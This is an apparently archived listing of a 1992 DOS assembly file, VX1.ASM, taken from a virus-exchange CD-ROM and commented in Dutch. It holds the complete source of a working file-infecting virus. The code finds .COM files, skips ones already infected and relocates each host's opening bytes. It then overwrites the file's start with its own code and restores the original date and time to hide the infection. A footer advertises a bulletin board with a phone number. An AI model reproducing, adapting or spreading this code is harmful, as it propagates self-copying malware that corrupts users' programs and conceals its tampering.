home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / VX1.ASM < prev    next >
Assembly Source File  |  1992-11-29  |  4KB  |  119 lines

  1. Code   Segment
  2.        Assume  CS:Code,DS:Code,ES:Code
  3.  
  4.        V_Length        Equ Program - Main
  5.        F_Name           Equ 0FC1Eh
  6.        F_Time           Equ 0FC16h
  7.        F_Date           Equ 0FC18h
  8.        HAdr           Equ 0FD00h
  9.        DTA           Equ 0FC00h
  10.  
  11.        Org     100h
  12.  
  13. Main:
  14.        push [BOP]            ;bewaar orginele offset programma
  15.  
  16.        mov ah,1ah            ;DTA boven neerzetten
  17.        mov dx,DTA            ;DTA adres
  18.        int 21h
  19.  
  20.        mov ah,4eh            ;zoek naar COM files
  21.        mov dx,Offset Target
  22.        xor cx,cx
  23.        int 21h
  24.  
  25. Read_file:
  26.        mov ax,3d02h            ;open het doelbestand
  27.        mov dx,Offset F_Name
  28.        int 21h
  29.  
  30.        mov bx,ax                        ;bewaar de file handle
  31.  
  32.        mov bp,cs:[F_Time]        ;Bewaar de tijd
  33.        mov di,cs:[F_Date]        ;Bewaar de datum
  34.  
  35.        mov ah,3fh            ;lees deel van het doelbestand
  36.        mov dx,Hadr            ;buffer adres
  37.        mov cx,V_Length            ;lengte van het 4us
  38.        int 21h                ;naar het hoog adres in
  39.  
  40.        mov si,dx            ;Is het bestand al geinfecteerd?
  41.        cmp Word Ptr [si],36ffh
  42.        jne Infect_File            ;Nee, infecteer het
  43.  
  44.        mov ah,4fh            ;Zoek volgende COM bestand
  45.        int 21h
  46.  
  47.        jc End_Infect
  48.        jmp Short Read_File
  49.  
  50. Infect_File:
  51.        mov ax,4202h            ;zoek naar het einde van doelbestand
  52.        xor cx,cx                        ;ax bevat na het na het uitvoeren van
  53.        xor dx,dx                        ;de interrupt de lengte van de file
  54.        int 21h
  55.  
  56.        add ax,100h            ;tel 100h bytes PSP erbij op en
  57.        mov BOP,ax            ;bewaar de lengte van het doelbestand
  58.  
  59.        mov ah,40h            ;overschrijf begin van doelbestand
  60.        mov cx,V_Length            ;lengte van het 4us
  61.        mov dx,HAdr            ;buffer
  62.        int 21h
  63.  
  64.        mov ax,4200h            ;zoek het begin van het doelbestand op
  65.        xor cx,cx
  66.        xor dx,dx
  67.        int 21h
  68.  
  69.        mov ah,40h            ;schrijf de 4uscode over de file
  70.        mov cx,V_Length            ;lengte van het 4us
  71.        mov dx,Offset Main
  72.        int 21h
  73.  
  74.        mov ax,5701h            ;zet orginele datum terug
  75.        mov dx,di            ;datum
  76.        mov cx,bp            ;tijd
  77.        int 21h
  78.  
  79. End_Infect:
  80.        mov ah,3eh            ;sluit het doelbestand af
  81.        int 21h
  82.  
  83.        mov ah,1ah            ;set DTA terug naar default
  84.        mov dx,0080h
  85.        int 21h
  86.  
  87.        cld                ;voorwaarts
  88.        mov di,HAdr            ;buffer
  89.        push di                ;en nog een voor het verplaatsen straks
  90.        mov si,Offset MoveBlock        ;wijst naar relocator
  91.        mov cx,Program - MoveBlock    ;lengte relocator
  92.        rep movsb            ;verplaats het block
  93.        ret                ;en ga er naar toe
  94.  
  95. BOP    dw  Offset Program
  96.  
  97. MoveBlock:
  98.         mov cx,V_Length                 ;aantal bytes dat verplaatst wordt
  99.         pop si                          ;haal BOP terug via de stack
  100.         mov di,0100h                    ;hier gaat het allemaal naar toe
  101.     push di             ;bewaar voor de RET
  102.     rep movsb            ;verplaatsen
  103.     ret                ;en start orginele programma op
  104.  
  105. Target:
  106.         db '*.com',0
  107.  
  108. Program:                                ;Dit is het fake programma wat later
  109.        mov ah,4ch                       ;door de relocator verplaatst wordt
  110.        int 21h                          ;naar het begin van de file
  111.  
  112. Code    Ends
  113. End     Main
  114.  
  115. ;  ─────────────────────────────────────────────────────────────────────────
  116. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  117. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  118. ;  ─────────────────────────────────────────────────────────────────────────
  119.